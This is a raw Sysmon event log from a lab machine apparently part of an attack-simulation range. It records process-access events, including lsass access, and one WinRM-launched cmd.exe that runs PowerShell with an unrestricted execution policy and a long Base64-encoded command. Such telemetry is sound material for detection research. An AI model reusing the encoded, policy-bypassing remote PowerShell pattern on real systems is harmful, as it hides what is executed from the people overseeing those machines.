09:08:41.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000196Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000195Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000194Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000193Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000192Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-2724-5F80-0500-000000007E01}640760C:\Windows\system32\csrss.exe{A5F018FF-2899-5F80-0003-000000007E01}1476C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000191Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000190Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.330{A5F018FF-2899-5F80-FE02-000000007E01}35041196C:\Windows\system32\WinrsHost.exe{A5F018FF-2899-5F80-0003-000000007E01}1476C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\WinrsHost.exe+2c94|C:\Windows\system32\WinrsHost.exe+2eb1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb 154100x8000000000000000189Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.331{A5F018FF-2899-5F80-0003-000000007E01}1476C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-2899-5F80-038A-110000000000}0x118a030HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-2899-5F80-FE02-000000007E01}3504C:\Windows\System32\winrshost.exeC:\Windows\system32\WinrsHost.exe -Embedding 10341000x8000000000000000188Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.315{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000187Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.315{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000186Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.315{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000185Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.315{A5F018FF-272E-5F80-1400-000000007E01}13482224C:\Windows\system32\svchost.exe{A5F018FF-2899-5F80-FE02-000000007E01}3504C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 10341000x8000000000000000184Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.315{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2899-5F80-FE02-000000007E01}3504C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000183Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.299{A5F018FF-2899-5F80-FF02-000000007E01}12403984C:\Windows\system32\conhost.exe{A5F018FF-2899-5F80-FE02-000000007E01}3504C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000182Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.299{A5F018FF-2724-5F80-0500-000000007E01}6402972C:\Windows\system32\csrss.exe{A5F018FF-2899-5F80-FF02-000000007E01}1240C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000181Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.299{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000180Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.299{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000179Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.299{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000178Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.299{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000177Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:41.299{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000176Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 